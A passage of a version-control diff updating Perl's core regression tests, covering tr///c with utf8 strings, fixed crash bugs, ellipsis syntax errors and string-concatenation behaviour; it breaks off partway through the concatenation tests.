+    # with some >= 0x100 utf8 chars in the string to be modified
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x2f/c;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                0x40..0xbf,
+                0x00..0x2f,
+                ((0x2f) x 48),
+            ),
+        "/c   >U";
+    is $c, 0xa0, "/c   >U count";
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x2f/cd;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x2f),
+        "/cd  >U";
+    is $c, 0xa0, "/cd  >U count";
+
+    $s = $all255_twice_plus . "\x3f\x3f\x{200}\x{300}";
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x2f/cs;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+                0xbf,
+                0x2f,
+            ),
+        "/cs  >U";
+    is $c, 0x144, "/cs  >U count";
+
+    $s = $all255_twice_plus;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x2f/csd;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+            ),
+        "/csd >U";
+    is $c, 0x140, "/csd >U count";
+
+    # length(search) == length(replacement)
+    # with some >= 0x100 utf8 chars in the string to be modified
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x3f/c;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                0x40..0xbf,
+                0x00..0x3f,
+                ((0x3f) x 32),
+            ),
+        "/c   ==U";
+    is $c, 0xa0, "/c   ==U count";
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x3f/cd;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x3f), "/cd ==U";
+    is $c, 0xa0, "/cd  ==U count";
+
+    $s = $all255_twice_plus . "\x3f\x3f\x{200}\x{300}";
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x3f/cs;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x3f,
+                0xbf,
+                0x3f,
+            ),
+        "/cs  ==U";
+    is $c, 0x144, "/cs  ==U count";
+
+    $s = $all255_twice_plus;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x3f/csd;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x3f,
+            ),
+        "/csd ==U";
+    is $c, 0x140, "/csd ==U count";
+
+
+    # length(search) == length(replacement) - 1
+    # with some >= 0x100 utf8 chars in the string to be modified
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x40/c;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                0x40..0xbf,
+                0x00..0x40,
+                ((0x40) x 31),
+            ),
+        "/c   =-U";
+    is $c, 0xa0, "/c   =-U count";
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x40/cd;
+    is $s, join('', map chr, 0x80..0xbf, 0x40..0xbf, 0x00..0x40), "/cd =-U";
+    is $c, 0xa0, "/cd  =-U count";
+
+    $s = $all255_twice_plus . "\x3f\x3f\x{200}\x{300}";
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x40/cs;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x40,
+                0xbf,
+                0x40,
+            ),
+        "/cs  =-U";
+    is $c, 0x144, "/cs  =-U count";
+
+    $s = $all255_twice_plus;
+    $c = $s =~ tr/\x40-\xbf/\x80-\xbf\x00-\x40/csd;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x40,
+            ),
+        "/csd =-U";
+    is $c, 0x140, "/csd =-U count";
+
+
+
+    # length(search) < length(replacement),
+    # with some >= 0x100 utf8 chars in the string to be modified
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x3f/c;
+    is $s, join('', map chr,
+                    0x80..0xbf,
+                    0x40..0xbf,
+                    0x00..0x2f,
+                    0xf0..0xff,
+                    0x30..0x3f,
+                    ((0x3f)x 16),
+                ),
+        "/c   <U";
+    is $c, 0x90, "/c   <U count";
+
+    $s = $all255_plus;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x3f/cd;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                0x40..0xbf,
+                0x00..0x2f,
+                0xf0..0xff,
+                0x30..0x3f,
+                ),
+            "/cd  <U";
+    is $c, 0x90, "/cd  <U count";
+
+    $s = $all255_twice_plus . "\x3f\x3f\x{200}\x{300}";
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x3f/cs;
+    is $s, join('', map chr,
+                0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+                (map  { ($_, $_) } 0xf0..0xff),
+                0x30..0x3f,
+                0xbf,
+                0x3f,
+            ),
+        "/cs  <U";
+    is $c, 0x124, "/cs  <U count";
+
+    $s = $all255_twice_plus;
+    $c = $s =~ tr/\x40-\xbf\xf0-\xff/\x80-\xbf\x00-\x3f/csd;
+    is $s, join('', map chr, 0x80..0xbf,
+                (map  { ($_, $_) } 0x40..0xbf),
+                0x00..0x2f,
+                (map  { ($_, $_) } 0xf0..0xff),
+                0x30..0x3f,
+            ),
+        "/csd <U";
+    is $c, 0x120, "/csd <U count";
+}
+
+{
+    # RT #132608
+    # the 'extra length' for tr///c was stored as a short, so if the
+    # replacement string had more than 0x7fff chars not paired with
+    # search chars, bad things could happen
+
+    my ($c, $e, $s);
+
+    $s = "\x{9000}\x{9001}\x{9002}";
+    $e =    "\$c = \$s =~ tr/\\x00-\\xff/"
+          . ("ABCDEFGHIJKLMNO" x (0xa000 / 15))
+          . "/c; 1; ";
+    eval $e or die $@;
+    is $s, "IJK", "RT #132608 len=0xa000";
+    is $c, 3, "RT #132608 len=0xa000 count";
+
+    $s = "\x{9003}\x{9004}\x{9005}";
+    $e =    "\$c = \$s =~ tr/\\x00-\\xff/"
+          . ("ABCDEFGHIJKLMNO" x (0x12000 / 15))
+          . "/c; 1; ";
+    eval $e or die $@;
+    is $s, "LMN", "RT #132608 len=0x12000";
+    is $c, 3, "RT #132608 len=0x12000 count";
+}
+
+
 SKIP: {   # Test literal range end point special handling
     unless ($::IS_EBCDIC) {
         skip "Valid only for EBCDIC", 24;

Modified: vendor/perl/dist/t/op/undef.t
===================================================================
--- vendor/perl/dist/t/op/undef.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/undef.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 
 use strict;
 
-use vars qw(@ary %ary %hash);
+my (@ary, %ary, %hash);
 
 plan 74;
 

Modified: vendor/perl/dist/t/op/unshift.t
===================================================================
--- vendor/perl/dist/t/op/unshift.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/unshift.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
     require "./test.pl";
 }
 
-plan(18);
+plan(19);
 
 @array = (1, 2, 3);
 
@@ -68,3 +68,12 @@
 unshift (@alpha, @bet, @gimel);
 is(join(' ', at alpha), 'q r s t u v w x y z', 'void unshift arrays');
 
+# See RT#131000
+{
+    local $@;
+    my @readonly_array = 10..11;
+    Internals::SvREADONLY(@readonly_array, 1);
+    eval { unshift @readonly_array, () };
+    like $@, qr/^Modification of a read-only value/,
+        "croak when unshifting onto readonly array";
+}

Modified: vendor/perl/dist/t/op/utf8decode.t
===================================================================
--- vendor/perl/dist/t/op/utf8decode.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/utf8decode.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -84,10 +84,18 @@
 
             my $message;
             my $after = "";
-            if ($expect64 != $expect32 && ! $is64bit) {
-                like($warnings[0], qr/overflow/, "overflow warning for $id seen");
-                shift @warnings;
-                $after .= "overflow";
+            if ($expect64 < $expect32 && ! $is64bit) {
+                # This is needed for code points above IV_MAX
+                #if (       substr($octets, 0, 1) gt "\xfe"
+                #    || (   substr($octets, 0, 1) eq "\xfe"
+                #        && length $octets > 1
+                #        && substr($octets, 1, 1) le "\xbf"
+                #        && substr($octets, 1, 1) ge "\x80"))
+                #{
+                    like($warnings[0], qr/overflow/, "overflow warning for $id seen");
+                    shift @warnings;
+                    $after .= "overflow";
+                #}
             }
 
             # The data below assumes that if there is both a 'short' and
@@ -182,8 +190,8 @@
 3.4.1 N15 -	30	c0:e0:80:f0:80:80:f8:80:80:80:fc:80:80:80:80:df:ef:bf:f7:bf:bf:fb:bf:bf:bf:fd:bf:bf:bf:bf	-	unexpected non-continuation byte 0xe0, immediately after start byte 0xc0
 3.5	Impossible bytes (but not with Perl's extended UTF-8)
 3.5.1 n -	1	fe	-	1 byte available, need 7
-3.5.2 N2,1 -	1	ff	-	1 byte available, need 13
-3.5.3 N11,8 -	4	fe:fe:ff:ff	-	byte 0xfe
+3.5.2 n -	1	ff	-	1 byte available, need 13
+3.5.3 N7 -	4	fe:fe:ff:ff	-	byte 0xfe
 4	Overlong sequences
 4.1	Examples of an overlong ASCII character
 4.1.1 n -	2	c0:af	-	overlong

Modified: vendor/perl/dist/t/op/vec.t
===================================================================
--- vendor/perl/dist/t/op/vec.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/vec.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -64,17 +64,20 @@
 $x = substr $foo, 1;
 is(vec($x, 0, 8), 255);
 $@ = undef;
-eval { vec($foo, 1, 8) };
-ok(! $@);
-$@ = undef;
-eval { vec($foo, 1, 8) = 13 };
-ok(! $@);
-if ($::IS_EBCDIC) {
-    is($foo, "\x8c\x0d\xff\x8a\x69"); 
+{
+    no warnings 'deprecated';
+    eval { vec($foo, 1, 8) };
+    ok(! $@);
+    $@ = undef;
+    eval { vec($foo, 1, 8) = 13 };
+    ok(! $@);
+    if ($::IS_EBCDIC) {
+        is($foo, "\x8c\x0d\xff\x8a\x69");
+    }
+    else {
+        is($foo, "\xc4\x0d\xc3\xbf\xc3\xbe");
+    }
 }
-else {
-    is($foo, "\xc4\x0d\xc3\xbf\xc3\xbe");
-}
 $foo = "\x{100}" . "\xff\xfe";
 $x = substr $foo, 1;
 vec($x, 2, 4) = 7;

Modified: vendor/perl/dist/t/op/ver.t
===================================================================
--- vendor/perl/dist/t/op/ver.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/ver.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
 
 use Config;
 
-plan( tests => 58 );
+plan( tests => 52 );
 
 eval 'use v5.5.640';
 is( $@, '', "use v5.5.640; $@");
@@ -224,27 +224,6 @@
 
 ok( abs($v - $]) < 10**-8 , "\$^V == \$] (numeric)" );
 
-{
-
-  no warnings 'deprecated'; # These are above IV_MAX on 32 bit machines
-  # [ID 20010902.001 (#7608)] check if v-strings handle full UV range or not
-  if ( $Config{'uvsize'} >= 4 ) {
-    is(  sprintf("%vd", eval 'v2147483647.2147483648'),   '2147483647.2147483648', 'v-string > IV_MAX[32-bit]' );
-    is(  sprintf("%vd", eval 'v3141592653'),              '3141592653',            'IV_MAX < v-string < UV_MAX[32-bit]');
-    is(  sprintf("%vd", eval 'v4294967295'),              '4294967295',            'v-string == UV_MAX[32-bit] - 1');
-  }
-
-  SKIP: {
-    skip("No quads", 3) if $Config{uvsize} < 8;
-
-    if ( $Config{'uvsize'} >= 8 ) {
-      is(  sprintf("%vd", eval 'v9223372036854775807.9223372036854775808'),   '9223372036854775807.9223372036854775808', 'v-string > IV_MAX[64-bit]' );
-      is(  sprintf("%vd", eval 'v17446744073709551615'),                      '17446744073709551615',                    'IV_MAX < v-string < UV_MAX[64-bit]');
-      is(  sprintf("%vd", eval 'v18446744073709551615'),                      '18446744073709551615',                    'v-string == UV_MAX[64-bit] - 1');
-    }
-  }
-}
-
 # Tests for magic v-strings 
 
 $v = 1.2.3;

Modified: vendor/perl/dist/t/op/warn.t
===================================================================
--- vendor/perl/dist/t/op/warn.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/warn.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
     set_up_inc('../lib');
 }
 
-plan 32;
+plan 33;
 
 my @warnings;
 my $wa = []; my $ea = [];
@@ -220,3 +220,22 @@
 }
 
 1;
+# RT #132602 pp_warn in scalar context was extending the stack then
+# setting SP back to the old, freed stack frame
+
+fresh_perl_is(<<'EOF', "OK\n", {stderr => 1}, "RT #132602");
+$SIG{__WARN__} = sub {};
+
+my (@a, @b);
+for my $i (1..300) {
+    push @a, $i;
+    () = (@a, warn);
+}
+
+# mess with the stack some more for ASan's benefit
+for my $i (1..100) {
+    push @a, $i;
+    @b = @a;
+}
+print "OK\n";
+EOF

Modified: vendor/perl/dist/t/op/write.t
===================================================================
--- vendor/perl/dist/t/op/write.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/write.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -98,7 +98,7 @@
 my $bas_tests = 21;
 
 # number of tests in section 3
-my $bug_tests = 66 + 3 * 3 * 5 * 2 * 3 + 2 + 66 + 6 + 2 + 3 + 96 + 11 + 15;
+my $bug_tests = 66 + 3 * 3 * 5 * 2 * 3 + 2 + 66 + 6 + 2 + 3 + 96 + 11 + 14;
 
 # number of tests in section 4
 my $hmb_tests = 37;
@@ -111,7 +111,7 @@
 ## Section 1
 ############
 
-use vars qw($fox $multiline $foo $good);
+our ($fox, $multiline, $foo, $good);
 
 format OUT =
 the quick brown @<<
@@ -251,7 +251,7 @@
 EOT
 
 my $was1 = my $was2 = '';
-use vars '$format2';
+our $format2;
 for (0..10) {           
   # lexical picture
   $^A = '';
@@ -327,6 +327,7 @@
 is cat('Op_write.tmp'), "Nasdaq dropping\n", 'skipspace inside "${...}"'
     and unlink_all "Op_write.tmp";
 
+our $test1;
 eval <<'EOFORMAT';
 format OUT10 =
 @####.## @0###.##
@@ -336,7 +337,6 @@
 
 open(OUT10, '>Op_write.tmp') || die "Can't create Op_write.tmp";
 
-use vars '$test1';
 $test1 = 12.95;
 write(OUT10);
 close OUT10 or die "Could not close: $!";
@@ -2018,18 +2018,6 @@
 EXPECT
 	      { stderr => 1 }, '#123538 crash in FF_MORE');
 
-# this used to assert fail
-fresh_perl_like(<<'EOP',
-format STDOUT =
-@
-0"$x"
-.
-print "got here\n";
-EOP
-    qr/Use of comma-less variable list is deprecated.*got here/s,
-    { stderr => 1 },
-    '#128255 Assert fail in S_sublex_done');
-
 {
     $^A = "";
     my $a = *globcopy;

Modified: vendor/perl/dist/t/op/yadayada.t
===================================================================
--- vendor/perl/dist/t/op/yadayada.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/yadayada.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 
 use strict;
 
-plan 9;
+plan 34;
 
 my $err;
 my $err1 = "Unimplemented at $0 line ";
@@ -19,6 +19,11 @@
 is $@, $err, "Execution of ellipsis statement reported 'Unimplemented' code";
 $@ = '';
 
+my $i = 0;
+is eval { $i++; ...; $i+=10; 123 }, undef;
+like $@, qr/\AUnimplemented /;
+is $i, 1;
+
 note("RT #122661: Semicolon before ellipsis statement disambiguates to indicate block rather than hash reference");
 my @input = (3..5);
 my @transformed;
@@ -42,6 +47,20 @@
 is $@, $err, "Disambiguation case 4";
 $@ = '';
 
+note("RT #132150: ... in other contexts is a syntax error");
+foreach(
+	"... + 0", "0 + ...",
+	"... . 0", "0 . ...",
+	"... or 1", "1 or ...",
+	"... if 1", "1 if ...",
+	'[...]',
+	'my $a = ...',
+	'... sub quux {}',
+) {
+	is eval($_), undef;
+	like $@, qr/\Asyntax error /;
+}
+
 #
 # Regression tests, making sure ... is still parsable as an operator.
 #

Modified: vendor/perl/dist/t/opbasic/arith.t
===================================================================
--- vendor/perl/dist/t/opbasic/arith.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/opbasic/arith.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -423,9 +423,8 @@
 
 my $vms_no_ieee;
 if ($^O eq 'VMS') {
-  use vars '%Config';
-  eval {require Config; import Config};
-  $vms_no_ieee = 1 unless defined($Config{useieee});
+  eval { require Config };
+  $vms_no_ieee = 1 unless defined($Config::Config{useieee});
 }
 
 if ($^O eq 'vos') {

Modified: vendor/perl/dist/t/opbasic/cmp.t
===================================================================
--- vendor/perl/dist/t/opbasic/cmp.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/opbasic/cmp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,5 @@
 #!./perl
 
-BEGIN {
-       chdir 't' if -d 't';
-       @INC = '../lib';
-}
-
 # This file has been placed in t/opbasic to indicate that it should not use
 # functions imported from t/test.pl or Test::More, as those programs/libraries
 # use operators which are what is being tested in this file.

Modified: vendor/perl/dist/t/opbasic/concat.t
===================================================================
--- vendor/perl/dist/t/opbasic/concat.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/opbasic/concat.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,12 +5,13 @@
     @INC = '../lib';
 }
 
-# ok() functions from other sources (e.g., t/test.pl) may use concatenation,
-# but that is what is being tested in this file.  Hence, we place this file
-# in the directory where do not use t/test.pl, and we write an ok() function
-# specially written to avoid any concatenation.
+# ok()/is() functions from other sources (e.g., t/test.pl) may use
+# concatenation, but that is what is being tested in this file.  Hence, we
+# place this file in the directory where do not use t/test.pl, and we
+# write functions specially written to avoid any concatenation.
 
 my $test = 1;
+
 sub ok {
     my($ok, $name) = @_;
 
@@ -22,8 +23,24 @@
     return $ok;
 }
 
-print "1..31\n";
+sub is {
+    my($got, $expected, $name) = @_;
 
+    my $ok = $got eq $expected;
+
+    printf "%sok %d - %s\n", ($ok ? "" : "not "), $test, $name;
+
+    if (!$ok) {
+        printf "# Failed test at line %d\n", (caller)[2];
+        printf "# got:      %s\n#expected: %s\n", $got, $expected;
+    }
+
+    $test++;
+    return $ok;
+}
+
+print "1..253\n";
+
 ($a, $b, $c) = qw(foo bar);
 
 ok("$a"     eq "foo",    "verifying assign");
@@ -132,6 +149,7 @@
     my $up = "\x{100}\xB6";
     my $x1 = $p;
     my $y1 = $u;
+    my ($x2, $x3, $x4, $y2);
 
     use bytes;
     ok(beq($p.$u, $p.$b), "perl #26905, left eq bytes");
@@ -144,11 +162,15 @@
     $y1 .= $p;
     $y2 = $u . $p;
 
+    $x3 = $p; $x3 .= $u . $u;
+    $x4 = $p . $u . $u;
+
     no bytes;
     ok(beq($x1, $x2), "perl #26905, left,  .= vs = . in bytes");
     ok(beq($y1, $y2), "perl #26905, right, .= vs = . in bytes");
     ok(($x1 eq $x2),  "perl #26905, left,  .= vs = . in chars");
     ok(($y1 eq $y2),  "perl #26905, right, .= vs = . in chars");
+    ok(($x3 eq $x4),  "perl #26905, twin,  .= vs = . in chars");
 }
 
 {
@@ -164,8 +186,670 @@
     ok($x eq "ab-append-", "Appending to something initialized using constant folding");
 }
 
+# non-POK consts
+
+{
+    my $a = "a";
+    my $b;
+    $b = $a . $a . 1;
+    ok($b eq "aa1", "aa1");
+    $b = 2 . $a . $a;
+    ok($b eq "2aa", "2aa");
+}
+
 # [perl #124160]
 package o { use overload "." => sub { $_[0] }, fallback => 1 }
 $o = bless [], "o";
 ok(ref(CORE::state $y = "a $o b") eq 'o',
   'state $y = "foo $bar baz" does not stringify; only concats');
+
+
+# multiconcat: utf8 dest with non-utf8 args should grow dest sufficiently.
+# This is mainly for valgrind or ASAN to detect problems with.
+
+{
+    my $s = "\x{100}";
+    my $t = "\x80" x 1024;
+    $s .= "-$t-";
+    ok length($s) == 1027, "utf8 dest with non-utf8 args";
+}
+
+# target on RHS
+
+{
+    my $a = "abc";
+    $a .= $a;
+    ok($a eq 'abcabc', 'append self');
+
+    $a = "abc";
+    $a = $a . $a;
+    ok($a eq 'abcabc', 'double self');
+
+    $a = "abc";
+    $a .= $a . $a;
+    ok($a eq 'abcabcabc', 'append double self');
+
+    $a = "abc";
+    $a = "$a-$a";
+    ok($a eq 'abc-abc', 'double self with const');
+
+    $a = "abc";
+    $a .= "$a-$a";
+    ok($a eq 'abcabc-abc', 'append double self with const');
+
+    $a = "abc";
+    $a .= $a . $a . $a;
+    ok($a eq 'abcabcabcabc', 'append triple self');
+
+    $a = "abc";
+    $a = "$a-$a=$a";
+    ok($a eq 'abc-abc=abc', 'triple self with const');
+
+    $a = "abc";
+    $a .= "$a-$a=$a";
+    ok($a eq 'abcabc-abc=abc', 'append triple self with const');
+}
+
+# test the sorts of optree which may (or may not) get optimised into
+# a single MULTICONCAT op. It's based on a loop in t/perf/opcount.t,
+# but here the loop is unwound as we would need to use concat to
+# generate the expected results to compare with the actual results,
+# which would rather defeat the object.
+
+{
+    my ($a1, $a2, $a3) = qw(1 2 3);
+    our $pkg;
+    my $lex;
+
+    is("-", '-', '"-"');
+    is("-", '-', '"-"');
+    is("-", '-', '"-"');
+    is("-", '-', '"-"');
+    is($a1, '1', '$a1');
+    is("-".$a1, '-1', '"-".$a1');
+    is($a1."-", '1-', '$a1."-"');
+    is("-".$a1."-", '-1-', '"-".$a1."-"');
+    is("$a1", '1', '"$a1"');
+    is("-$a1", '-1', '"-$a1"');
+    is("$a1-", '1-', '"$a1-"');
+    is("-$a1-", '-1-', '"-$a1-"');
+    is($a1.$a2, '12', '$a1.$a2');
+    is($a1."-".$a2, '1-2', '$a1."-".$a2');
+    is("-".$a1."-".$a2, '-1-2', '"-".$a1."-".$a2');
+    is($a1."-".$a2."-", '1-2-', '$a1."-".$a2."-"');
+    is("-".$a1."-".$a2."-", '-1-2-', '"-".$a1."-".$a2."-"');
+    is("$a1$a2", '12', '"$a1$a2"');
+    is("$a1-$a2", '1-2', '"$a1-$a2"');
+    is("-$a1-$a2", '-1-2', '"-$a1-$a2"');
+    is("$a1-$a2-", '1-2-', '"$a1-$a2-"');
+    is("-$a1-$a2-", '-1-2-', '"-$a1-$a2-"');
+    is($a1.$a2.$a3, '123', '$a1.$a2.$a3');
+    is($a1."-".$a2."-".$a3, '1-2-3', '$a1."-".$a2."-".$a3');
+    is("-".$a1."-".$a2."-".$a3, '-1-2-3', '"-".$a1."-".$a2."-".$a3');
+    is($a1."-".$a2."-".$a3."-", '1-2-3-', '$a1."-".$a2."-".$a3."-"');
+    is("-".$a1."-".$a2."-".$a3."-", '-1-2-3-', '"-".$a1."-".$a2."-".$a3."-"');
+    is("$a1$a2$a3", '123', '"$a1$a2$a3"');
+    is("$a1-$a2-$a3", '1-2-3', '"$a1-$a2-$a3"');
+    is("-$a1-$a2-$a3", '-1-2-3', '"-$a1-$a2-$a3"');
+    is("$a1-$a2-$a3-", '1-2-3-', '"$a1-$a2-$a3-"');
+    is("-$a1-$a2-$a3-", '-1-2-3-', '"-$a1-$a2-$a3-"');
+    $pkg  = "-";
+    is($pkg, '-', '$pkg  = "-"');
+    $pkg  = "-";
+    is($pkg, '-', '$pkg  = "-"');
+    $pkg  = "-";
+    is($pkg, '-', '$pkg  = "-"');
+    $pkg  = "-";
+    is($pkg, '-', '$pkg  = "-"');
+    $pkg  = $a1;
+    is($pkg, '1', '$pkg  = $a1');
+    $pkg  = "-".$a1;
+    is($pkg, '-1', '$pkg  = "-".$a1');
+    $pkg  = $a1."-";
+    is($pkg, '1-', '$pkg  = $a1."-"');
+    $pkg  = "-".$a1."-";
+    is($pkg, '-1-', '$pkg  = "-".$a1."-"');
+    $pkg  = "$a1";
+    is($pkg, '1', '$pkg  = "$a1"');
+    $pkg  = "-$a1";
+    is($pkg, '-1', '$pkg  = "-$a1"');
+    $pkg  = "$a1-";
+    is($pkg, '1-', '$pkg  = "$a1-"');
+    $pkg  = "-$a1-";
+    is($pkg, '-1-', '$pkg  = "-$a1-"');
+    $pkg  = $a1.$a2;
+    is($pkg, '12', '$pkg  = $a1.$a2');
+    $pkg  = $a1."-".$a2;
+    is($pkg, '1-2', '$pkg  = $a1."-".$a2');
+    $pkg  = "-".$a1."-".$a2;
+    is($pkg, '-1-2', '$pkg  = "-".$a1."-".$a2');
+    $pkg  = $a1."-".$a2."-";
+    is($pkg, '1-2-', '$pkg  = $a1."-".$a2."-"');
+    $pkg  = "-".$a1."-".$a2."-";
+    is($pkg, '-1-2-', '$pkg  = "-".$a1."-".$a2."-"');
+    $pkg  = "$a1$a2";
+    is($pkg, '12', '$pkg  = "$a1$a2"');
+    $pkg  = "$a1-$a2";
+    is($pkg, '1-2', '$pkg  = "$a1-$a2"');
+    $pkg  = "-$a1-$a2";
+    is($pkg, '-1-2', '$pkg  = "-$a1-$a2"');
+    $pkg  = "$a1-$a2-";
+    is($pkg, '1-2-', '$pkg  = "$a1-$a2-"');
+    $pkg  = "-$a1-$a2-";
+    is($pkg, '-1-2-', '$pkg  = "-$a1-$a2-"');
+    $pkg  = $a1.$a2.$a3;
+    is($pkg, '123', '$pkg  = $a1.$a2.$a3');
+    $pkg  = $a1."-".$a2."-".$a3;
+    is($pkg, '1-2-3', '$pkg  = $a1."-".$a2."-".$a3');
+    $pkg  = "-".$a1."-".$a2."-".$a3;
+    is($pkg, '-1-2-3', '$pkg  = "-".$a1."-".$a2."-".$a3');
+    $pkg  = $a1."-".$a2."-".$a3."-";
+    is($pkg, '1-2-3-', '$pkg  = $a1."-".$a2."-".$a3."-"');
+    $pkg  = "-".$a1."-".$a2."-".$a3."-";
+    is($pkg, '-1-2-3-', '$pkg  = "-".$a1."-".$a2."-".$a3."-"');
+    $pkg  = "$a1$a2$a3";
+    is($pkg, '123', '$pkg  = "$a1$a2$a3"');
+    $pkg  = "$a1-$a2-$a3";
+    is($pkg, '1-2-3', '$pkg  = "$a1-$a2-$a3"');
+    $pkg  = "-$a1-$a2-$a3";
+    is($pkg, '-1-2-3', '$pkg  = "-$a1-$a2-$a3"');
+    $pkg  = "$a1-$a2-$a3-";
+    is($pkg, '1-2-3-', '$pkg  = "$a1-$a2-$a3-"');
+    $pkg  = "-$a1-$a2-$a3-";
+    is($pkg, '-1-2-3-', '$pkg  = "-$a1-$a2-$a3-"');
+    $pkg = 'P';
+    $pkg .= "-";
+    is($pkg, 'P-', '$pkg .= "-"');
+    $pkg = 'P';
+    $pkg .= "-";
+    is($pkg, 'P-', '$pkg .= "-"');
+    $pkg = 'P';
+    $pkg .= "-";
+    is($pkg, 'P-', '$pkg .= "-"');
+    $pkg = 'P';
+    $pkg .= "-";
+    is($pkg, 'P-', '$pkg .= "-"');
+    $pkg = 'P';
+    $pkg .= $a1;
+    is($pkg, 'P1', '$pkg .= $a1');
+    $pkg = 'P';
+    $pkg .= "-".$a1;
+    is($pkg, 'P-1', '$pkg .= "-".$a1');
+    $pkg = 'P';
+    $pkg .= $a1."-";
+    is($pkg, 'P1-', '$pkg .= $a1."-"');
+    $pkg = 'P';
+    $pkg .= "-".$a1."-";
+    is($pkg, 'P-1-', '$pkg .= "-".$a1."-"');
+    $pkg = 'P';
+    $pkg .= "$a1";
+    is($pkg, 'P1', '$pkg .= "$a1"');
+    $pkg = 'P';
+    $pkg .= "-$a1";
+    is($pkg, 'P-1', '$pkg .= "-$a1"');
+    $pkg = 'P';
+    $pkg .= "$a1-";
+    is($pkg, 'P1-', '$pkg .= "$a1-"');
+    $pkg = 'P';
+    $pkg .= "-$a1-";
+    is($pkg, 'P-1-', '$pkg .= "-$a1-"');
+    $pkg = 'P';
+    $pkg .= $a1.$a2;
+    is($pkg, 'P12', '$pkg .= $a1.$a2');
+    $pkg = 'P';
+    $pkg .= $a1."-".$a2;
+    is($pkg, 'P1-2', '$pkg .= $a1."-".$a2');
+    $pkg = 'P';
+    $pkg .= "-".$a1."-".$a2;
+    is($pkg, 'P-1-2', '$pkg .= "-".$a1."-".$a2');
+    $pkg = 'P';
+    $pkg .= $a1."-".$a2."-";
+    is($pkg, 'P1-2-', '$pkg .= $a1."-".$a2."-"');
+    $pkg = 'P';
+    $pkg .= "-".$a1."-".$a2."-";
+    is($pkg, 'P-1-2-', '$pkg .= "-".$a1."-".$a2."-"');
+    $pkg = 'P';
+    $pkg .= "$a1$a2";
+    is($pkg, 'P12', '$pkg .= "$a1$a2"');
+    $pkg = 'P';
+    $pkg .= "$a1-$a2";
+    is($pkg, 'P1-2', '$pkg .= "$a1-$a2"');
+    $pkg = 'P';
+    $pkg .= "-$a1-$a2";
+    is($pkg, 'P-1-2', '$pkg .= "-$a1-$a2"');
+    $pkg = 'P';
+    $pkg .= "$a1-$a2-";
+    is($pkg, 'P1-2-', '$pkg .= "$a1-$a2-"');
+    $pkg = 'P';
+    $pkg .= "-$a1-$a2-";
+    is($pkg, 'P-1-2-', '$pkg .= "-$a1-$a2-"');
+    $pkg = 'P';
+    $pkg .= $a1.$a2.$a3;
+    is($pkg, 'P123', '$pkg .= $a1.$a2.$a3');
+    $pkg = 'P';
+    $pkg .= $a1."-".$a2."-".$a3;
+    is($pkg, 'P1-2-3', '$pkg .= $a1."-".$a2."-".$a3');
+    $pkg = 'P';
